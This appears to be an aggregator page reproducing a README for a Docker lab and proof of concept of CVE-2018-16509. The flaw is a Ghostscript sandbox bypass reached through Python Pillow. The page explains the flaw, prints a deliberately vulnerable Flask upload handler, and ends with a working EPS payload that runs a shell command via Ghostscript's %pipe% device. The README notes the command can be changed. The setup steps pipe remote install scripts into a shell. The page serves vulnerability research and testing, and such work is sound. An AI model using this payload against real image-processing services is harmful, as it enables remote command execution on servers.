All Projects → farisv → PIL-RCE-Ghostscript-CVE-2018-16509

farisv / PIL-RCE-Ghostscript-CVE-2018-16509

Licence: MIT license
PoC + Docker Environment for Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509

Programming Languages

python
139335 projects - #7 most used programming language
Dockerfile
14818 projects

Projects that are alternatives of or similar to PIL-RCE-Ghostscript-CVE-2018-16509

FotoKilof
GUI for ImageMagick
Stars: ✭ 114 (+159.09%)
Mutual labels:  pillow
Cocoa-Printer-Server
Make your USB Printers to IP Printers.
Stars: ✭ 22 (-50%)
Mutual labels:  ghostscript
Python Scripts
It contains all the Python Programs, whether it's a GUI, basic, Data Structures, etc. It's a collection of some great Python scripts from basic to advance levels for automating some monotonous tasks.
Stars: ✭ 23 (-47.73%)
Mutual labels:  pillow
CJ2018-Final-CTF
Cyber Jawara 2018 Final - Attack & Defense CTF services environments based on Docker.
Stars: ✭ 58 (+31.82%)
Mutual labels:  web-security
Gamut
Create images using text as a mask.
Stars: ✭ 21 (-52.27%)
Mutual labels:  pillow
RCE-python-oneliner-payload
Python bind shell single line code for both Unix and Windows, used to find and exploit RCE (ImageMagick, Ghostscript, ...)
Stars: ✭ 23 (-47.73%)
Mutual labels:  ghostscript
saram
Get OCR in txt form from an image or pdf extension supporting multiple files from directory using pytesseract with auto rotation for wrong orientation. PYPI:
Stars: ✭ 51 (+15.91%)
Mutual labels:  pillow
requests-ip-rotator
A Python library to utilize AWS API Gateway's large IP pool as a proxy to generate pseudo-infinite IPs for web scraping and brute forcing.
Stars: ✭ 323 (+634.09%)
Mutual labels:  web-security
avatar-gen
pillow 生成头像,中英文首字母或者随机像素化。Using pillow for generate avatars, first letter of string in Chinese and English or random pixel like avatars.
Stars: ✭ 31 (-29.55%)
Mutual labels:  pillow
simple-photo-editor
Simple Photo Editor on Python
Stars: ✭ 21 (-52.27%)
Mutual labels:  pillow
guardrails
guardrails.cs.virginia.edu
Stars: ✭ 18 (-59.09%)
Mutual labels:  web-security
GrabCut-Annotation-Tool
OpenCVのGrabCut()を利用したセマンティックセグメンテーション向けアノテーションツール(Annotation tool using GrabCut() of OpenCV. It can be used to create datasets for semantic segmentation.)
Stars: ✭ 27 (-38.64%)
Mutual labels:  pillow
Virtual-Host
Modified Nuclei Templates Version to FUZZ Host Header
Stars: ✭ 38 (-13.64%)
Mutual labels:  web-security
pdf2png
Convert PDF files to images in various image formats.
Stars: ✭ 16 (-63.64%)
Mutual labels:  ghostscript
Find-PHP-Vulnerabilities
🐛 A plug-in of sublime 2/3 which is able to find PHP vulnerabilities
Stars: ✭ 57 (+29.55%)
Mutual labels:  web-security
dankcli
CLI Image Captioning Tool or Meme Generator which automatically adds whitespace and text to top
Stars: ✭ 40 (-9.09%)
Mutual labels:  pillow
global-color-picker
start the script and click anywhere to get rgb value at the cursor location
Stars: ✭ 31 (-29.55%)
Mutual labels:  pillow
bot tulis
Pemalas versi desktop. Untuk yang ini tersedia versi CMD dan GUI. Pemalas adalah program untuk mengubah text menjadi tulisan diatas buku dalam bentuk gambar.
Stars: ✭ 43 (-2.27%)
Mutual labels:  pillow
firecracker
Stop half-done API specifications! Cherrybomb is a CLI tool that helps you avoid undefined user behaviour by validating your API specifications.
Stars: ✭ 438 (+895.45%)
Mutual labels:  web-security
VWapi
⛈ ☀️ Visual Weather api. Returns beautiful pictures with the current weather.
Stars: ✭ 33 (-25%)
Mutual labels:  pillow

Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509

Inspired by https://github.com/ysrc/PIL-RCE-By-GhostButt (PIL/Pillow RCE via CVE-2017-8291). This docker environment version is using the newer version of Ghostscript (v9.23) and newer exploit (CVE-2018-16509).

Ghostscript is a suite of software based on an interpreter for Adobe Systems PostScript and Portable Document Format (PDF) page description languages. Somehow, Ghostscript is exist in the production server (e.g. /usr/local/bin/gs) even when no application use it directly because Ghostscript is installed as dependency of another software (e.g. ImageMagick). Bunch of vulnerabilities were found in Ghostscript; one of them is CVE-2018-16509 (discovered by Tavis Ormandy from Google Project Zero), a vulnerability that allows exploitation of -dSAFER bypass in Ghostscript before v9.24 to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick or image library in the programming language with Ghotscript wrapper (PIL/Pillow in this example).

Installation

For testing and proof of concept, we can try the exploit in a docker environemnt.

Install the docker/docker-compose on Ubuntu:

# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python

# Install the latest version docker
curl -s https://get.docker.com/ | sh

# Run docker service
service docker start

# Install docker compose
pip install docker-compose

The installation steps of docker and docker-compose for others operating system might be slightly different, please refer to the docker documentation for details.

Run Environment

# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git

# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509

# Compile environment
docker-compose build

# Run environment
docker-compose up -d

The vulnerable Flask app can be accessed in http://127.0.0.1:8000. You can stop the environment after the test.

docker-compose down -v

Exploit

You can upload rce.jpg (a specially-crafted EPS image, not a real JPG) to execute touch /tmp/got_rce in the server. For proof, you can execute docker exec [CONTAINER_ID] ls -alt /tmp. To get CONTAINER_ID, you can check with docker container ls. To change the shell execution to other commands, you can change touch /tmp/got_rce directly in the rce.jpg.

Analysis

You can refer to the explanation of vulnerability by Tavis Ormandy in oss-security.

You can check the source code Ghostscript wrapper of PIL/Pillow in EPSImagePlugin.py.

This is the vulnerable code of app.py:

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        file = request.files.get('image', None)

        if not file:
            flash('No image found')
            return redirect(request.url)

        filename = file.filename
        ext = path.splitext(filename)[1]

        if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
            flash('Invalid extension')
            return redirect(request.url)

        tmp = tempfile.mktemp("test")
        img_path = "{}.{}".format(tmp, ext)

        file.save(img_path)

        img = Image.open(img_path)
        w, h = img.size
        ratio = 256.0 / max(w, h)

        resized_img = img.resize((int(w * ratio), int(h * ratio)))
        resized_img.save(img_path)

Content of uploaded file will be loaded by img = Image.open(img_path). PIL will automatically detect if the image is an EPS image (example: add %!PS-Adobe-3.0 EPSF-3.0 at the beginning of file) and will call _open() in EpsImageFile class in EPSImagePlugin.py. To avoid raise IOError("cannot determine EPS bounding box"), a bounding box need to be added in the file (example: %%BoundingBox: -0 -0 100 100).

The body of EPS image will be processed by Ghostscript binary with subprocess as we can see in EPSImagePlugin.py in Ghostscript function.

    # Build Ghostscript command
    command = ["gs",
               "-q",                         # quiet mode
               "-g%dx%d" % size,             # set output geometry (pixels)
               "-r%fx%f" % res,              # set input DPI (dots per inch)
               "-dBATCH",                    # exit after processing
               "-dNOPAUSE",                  # don't pause between pages
               "-dSAFER",                    # safe mode
               "-sDEVICE=ppmraw",            # ppm driver
               "-sOutputFile=%s" % outfile,  # output file
               "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                             # adjust for image origin
               "-f", infile,                 # input file
               "-c", "showpage",             # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
               ]


    ....

    try:
        with open(os.devnull, 'w+b') as devnull:
            startupinfo = None
            if sys.platform.startswith('win'):
                startupinfo = subprocess.STARTUPINFO()
                startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            subprocess.check_call(command, stdin=devnull, stdout=devnull,
                                  startupinfo=startupinfo)

The code above is called when load is called in Image.py so only open the image will not trigger the vulnerability. Function like resize, crop, rotate, and save will call load and trigger the vulnerability.

Combined with POC from Tavis Ormandy, we can craft rce.jpg for remote shell command execution.

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].